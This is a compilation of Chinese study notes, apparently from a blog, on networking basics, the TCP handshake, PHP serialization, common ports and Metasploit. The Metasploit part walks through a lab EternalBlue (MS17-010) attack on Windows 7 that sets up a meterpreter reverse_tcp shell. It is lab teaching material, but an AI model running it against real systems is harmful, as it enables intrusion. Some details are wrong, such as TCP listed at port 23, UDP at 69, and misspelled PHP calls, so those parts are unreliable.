if(i==k)return p;
else return NULL;
}

计算机网络自顶向下

@TOC

计算机网络与因特网

一、具体构成的描述:对于什么是因特网这个问题有两种回答方式:其一,我们能够描述因特网的具体构成,即因特网的基本硬件和软件组件;其二,我们能够根据分布式应用提供的联网基础设施来描述因特网。
1、端系统
(1)定义:端系统(主机):处于因特网的边缘部分就是在因特网上的所有主机,即与因特网相连的设备,此处的“端”是“末端”之意。端系统可以是手表、平板电脑、电视等。
(2)具体功能:
<1>端系统通过通信链路和分组交换机连接在一起。(对于通信链路和分组交换机的详细介绍会在下一章)。通信链路有不同类型的物理媒体组成,这些物理媒体包括同轴电缆、铜线、光纤和无线电频谱。不同的链路能够以不同的速率传输数据,链路的传输速率以比特/秒度量。当一台端系统向另一台端系统发送数据时,发送端系统将数据分段,并为每段加上首部字节。由此形成的信息包用计算机网络的术语来说称为分组。

1
2
graph LR
A[发送端系统] -- 数据分段 -- 加上首部字节-->B[目的端系统]

<2>端系统通过因特网服务提供商(ISP)接入因特网,每个ISP自身就是一个由多台分组交换机和多段通信链路组成的网络。各ISP为端系统提供了各种不同类型的网络接入。
<3>协议:端系统、分组交换机和其他因特网部件都要运行一系列协议。协议相关知识可见计算机网络开放的端口和协议
(3)服务描述
我们现在从为应用程序提供服务的基础设施的角度来描述因特网。因特网除了传统的web冲浪应用外,还有在线社交网络、视频会议等。因为这些应用程序涉及多个相互交换数据的端系统,所以它们被称为分布式应用程序。
2、接入网
(1)家庭接入:DSL、电缆、FTTH、拔号和卫星
当前,宽带住宅接入有两种最流行的类型:数字用户线和电缆。
<1>电话线接入:住户通常从提供本地电话接入的本地电话公司处获得DSL因特网接入。因此,当使用DSL时,用户的本地电话公司也是它的ISP。

1
2
3
4
5
6
7
graph LR
B[家庭电话] --> A[分配器]
C[DSL调制解调器] -->A
D[家庭PC] -->C
A --> E[中心局]
E -->F[因特网]
E -->G[电话网]

如图所示,每个用户的DSL调制解调器使用现有的电话线与位于电话公司的本地中心局(CO)中的数字用户线接入复用器(DSLAM)交换数据。家庭的DSL调制解调器得到数字数据后将其转换为高频音,以通过电话线传输给本地中心局;来自许多家庭的模拟信号在DSLAM处被转换回数字形式.
这种电话线接入因为上行速率和下行速率不一致,所以这种接入不对称。
<2>电缆因特网接入:电缆因特网接入利用了有线公司现有的有线电视基础设施。住宅从提供有线电视的公司获得了电缆因特网接入。

1
2
3
4
5
6
graph LR
A[数以万计的家庭] -- 同轴电缆 --> B((光纤节点))
A[数以万计的家庭]--> C((光纤节点))
B -->D[CMTS]
C -->D[CMTS]
D -->F[因特网]

电缆因特网接入需要特殊的调制解调器,这种调制解调器被称为电缆调制解调器。如同DSL调制解调器,电缆解调器通常是一个外部设备,通过一个以太网连接到家庭PC(以太网后面会介绍到)在电缆头端,电缆调制解调器端接系统与DSL网络的DSLAM具有类似的功能,即将来许多下行家庭中的电缆调制解调器发送的模拟信号转换回数字形式。
<3>电缆因特网接入特征:
1.接入通常是不对称的,下行信道分配的传输速率通常比上行信道高。
2.共享广播媒体。如果几个用户同时经下行信道下载0一个视频文件,每个用户接收文件的实际速率大大低于电缆总计的下行速率

排队时延和分组丢失

每台分组交换机有多条链路与之相连。对于每条相连的链路,该分组交换机具有一个输出缓存(output buffer,也称为输出队列(output queue)),它用于存储路由器准备发往那条链路的分组。该输出缓存在分组交换中起着重要的作用。除了存储转发时延以外,分组还要承受输出缓存的排队时延(queuing delay)。这些时延是变化的,变化的程度取决于网络的拥塞程度。因为缓存空间的大小是有限的,一个到达的分组可能发现该缓存已被其他等待传输的分组完全充满了。在此情况下,将出现分组丢失(丢包)(packet loss),到达的分组或已经排队的分组之一将被丢弃。

Metasploit渗透测试框架的基本使用

@TOC

Metasploit渗透测试框架介绍

1、简介:Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF。是一个免费、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。
2、Metasploit体系框架
<1>基础库:Metasploit基础库文件位于源码目录路径下的libraries目录中,包括Rex,framework和framework-base三部分。
Rex是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、postgreSQL以及MYSQL数据库支持等;
<2>模块:模块组织按照不同的用途分为6种类型的模块
分为辅助模块(Aux)、渗透攻击模块(Exploits)、后渗透攻击模块(Post)、攻击载荷模块(payloads)、编码器模块(Encoders)、空指令模块(Nops)。
注:payload又称攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。可以理解为后门
<3>插件:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如Nessus、OpenVAS漏洞扫描器等
<4>接口:包括msfconsole控制终端、msfcli命令行、msfgui图形化界面、armitage图形化界面以及msfapi远程调用接口。e
<5>功能程序: metasploit还提供了一系列可直接运行的功能程序,支持渗透测试者与安全人员快速地利用metasploit框架内部能力完成一些特定任务。比如msfpayload、msfencode和msfvenom可以将攻击载荷封装为可执行文件、C语言、JavaScript语言等多种形式,并可以进行各种类型的编码。

Metasploit目录

在这里插入图片描述data是Metasploit使用的可编辑文件
modules是模块
lib是框架
plugins是插件
scripts是Metasploit和其他脚本

实战训练

攻击机:kali2020
被攻击机:windows7(445端口开启、windowsdefener关闭)
第一步:打开msf
在这里插入图片描述
第二步:永恒之蓝漏洞编号为ms17-010

在这里插入图片描述
第三步:利用辅助模块扫描目标
use 1
在这里插入图片描述
查看所需设置:options
yes为必须设置
设置目标地址:set rhosts +IP地址
设置目标端口:set rpost +445
攻击:run
第四步:

在这里插入图片描述
查看所需设置options
设置目标地址:set RHOSTS windows7ip
设置目标端口:set RPORT 445
设置payload:set payload windows/x64/meterpreter/reverse_tcp
设置本地地址:set LHOST 本地IP
攻击:run

TCP握手

建立TCP连接需要发送三个包才能建立,而断开连接则需要发送四个包,所以被称为TCP三次握手四次挥手。

三次握手

第一次握手:建立连接时,客户端发送syn包(syn=x)到服务器,并进入SYN_SENT状态,等待服务器确认;SYN:同步序列编号。
第二次握手:服务器收到syn包,必须确认客户的SYN(ack=x+1),同时自己也发送一个SYN包(syn=y),即SYN+ACK包,此时服务器进入SYN_RECV状态;
第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK(ack=y+1),此包发送完毕,客户端和服务器进入ESTABLISHED(TCP连接成功)状态,完成三次握手。
在这里插入图片描述

四次挥手

客户端→服务端:发送FIN报文,表示没有要发送的数据,并询问服务端有无没有发送的数据。如果还有没发送完的数据可不必关闭socket,继续发送。
服务端→客户端:发送ACK表示还未确定是否有未发送完的数据,Client端进入FIN_WAIT状态。
服务端→客户端:Server端确认数据发送完成后发送FIN报文,表示Client端可以关闭连接了。
客户端→服务端:发送ACK后进入TIME_WAIT状态,Client端等待了2MSL后依然没有收到回复,则证明Server端已正常关闭。
注意:为什么建立连接需要三次握手而解除需要四次挥手呢?
因为当Server端收到Client端的SYN连接请求报文后,可以直接发送SYN+ACK报文。其中ACK报文是用来应答的,SYN报文是用来同步的。但是关闭连接时,当Server端收到FIN报文时,很可能并不会立即关闭SOCKET,所以只能先回复一个ACK报文,告诉Client端,”你发的FIN报文我收到了”。只有等到我Server端所有的报文都发送完了,我才能发送FIN报文,因此不能一起发送。故需要四步挥手。

在这里插入图片描述
与UDP不同的是,TCP通过三次握手四次挥手避免了掉包情况的发生

序列化与反序列化

@TOC

序列化与反序列化定义

一、序列化:指将数据结构或对象状态转换成可取用格式(例如存成文件,存于缓冲,或经由网络中发送),以留待后续在相同或另一台计算机环境中,能恢复原先状态的过程。依照序列化格式重新获取字节的结果时,可以利用它来产生与原始对象相同语义的副本。
简单来说就是将对象转化成字符串
二、目的:方便存储与网络运输
三、反序列化:与序列化相反

代码举例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class Student //定义一个类//
{
public $name = 'studentone';
function getName()
{
return "deelmind";
}
function__construct()
{
echo"__construct"//构造函数//
echo"</br>";
}
}
$s=new Student();
echo $s->getName()."</br>";
$s_serialize=serialize($s);
print_r($s_serialize);
echo"</br>";
?>

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class Student //定义一个类//
{
public $name = 'studentone';
function getName()
{
return "deelmind";
}
function__construct()
{
echo"__construct"//构造函数//
echo"</br>";
$Student = '0:7:"Student":1:{s:4:"name";s:10:"studentone";}';
$s_unserialize = unseralize($Student);
print_r($s_unseralize);
echo"</br>";
?>

在这里插入图片描述

反序列化漏洞原理

反序列化漏洞就是指黑客序列化一个包含恶意代码的实例对象(通常是Runtime.exec来执行后台命令),此时会得到对象的字节数据。然后字节数据通过接口发送到服务端(被攻击的服务器)。服务器在反序列化出对象的过程中(readObject方法里面)就会触发触发恶意代码执行,从而达到攻击的目的。

计算机网络开放的端口协议

学习目标 : 计算机网络开放的端口和协议

学习内容

一、计算机网络端口

1、定义:计算机“端口”是英文port的义译,可以认为是计算机与外界通讯交流的出口;
2、分类:分为软件端口和硬件端口;
二、网络协议
1、定义:网络协议为计算机网络中进行数据交换而建立的规则、标准或约定的集合;
2、组成:(1) 语义:语义是解释控制信息每个部分的意义。它规定了需要发出何种控制信息,以及完成的动作与做出什么样的响应;
(2)语法:语法是用户数据与控制信息的结构与格式,以及数据出现的顺序;
(3) 时序:时序是对事件发生顺序的详细说明。

三、常用端口、协议及所处层次
| 协议名称| 服务 | 网络层| 端口号 |
|–|–|– |– |
| 文件传输协议 | FTP | 应用层 |21号端口
|远程登录协议|Telnet|应用层| 23号端口|
|简单邮件传输协议|SMTP|应用层| 25号端口 |
| 域名服务器|DNS|应用层 |53号端口 |
|超文本传输协议|HTTP|应用层|80号端口 |
|网上新闻传输协议|NNTP| 应用层|119号端口 |
| 第二代简单邮局协议|POP2| 应用层| 109号端口|
| 网络消息访问协议|IMAP|应用层|143号端口|
|控制报文协议|ICMP|网络层|无端口号 |
|网络之间互连的协议|IP|网络层 |0 到65535(2^16-1) |
| 远程过程调用协议|RPC|会话层|111号端口 |
|传输控制协议|TCP|传输层|23号端口 |
|用户数据报协议|UDP|传输层|69号端口 |
网络层
在这里插入图片描述

传输层
在这里插入图片描述
应用层
在这里插入图片描述

四、计算机网络体系结构分层
在这里插入图片描述

学习成果

1、了解计算机网络端口与网络协议;
2、计算机网络开放的端口及所在层次;
3、计算机网络体系结构分层。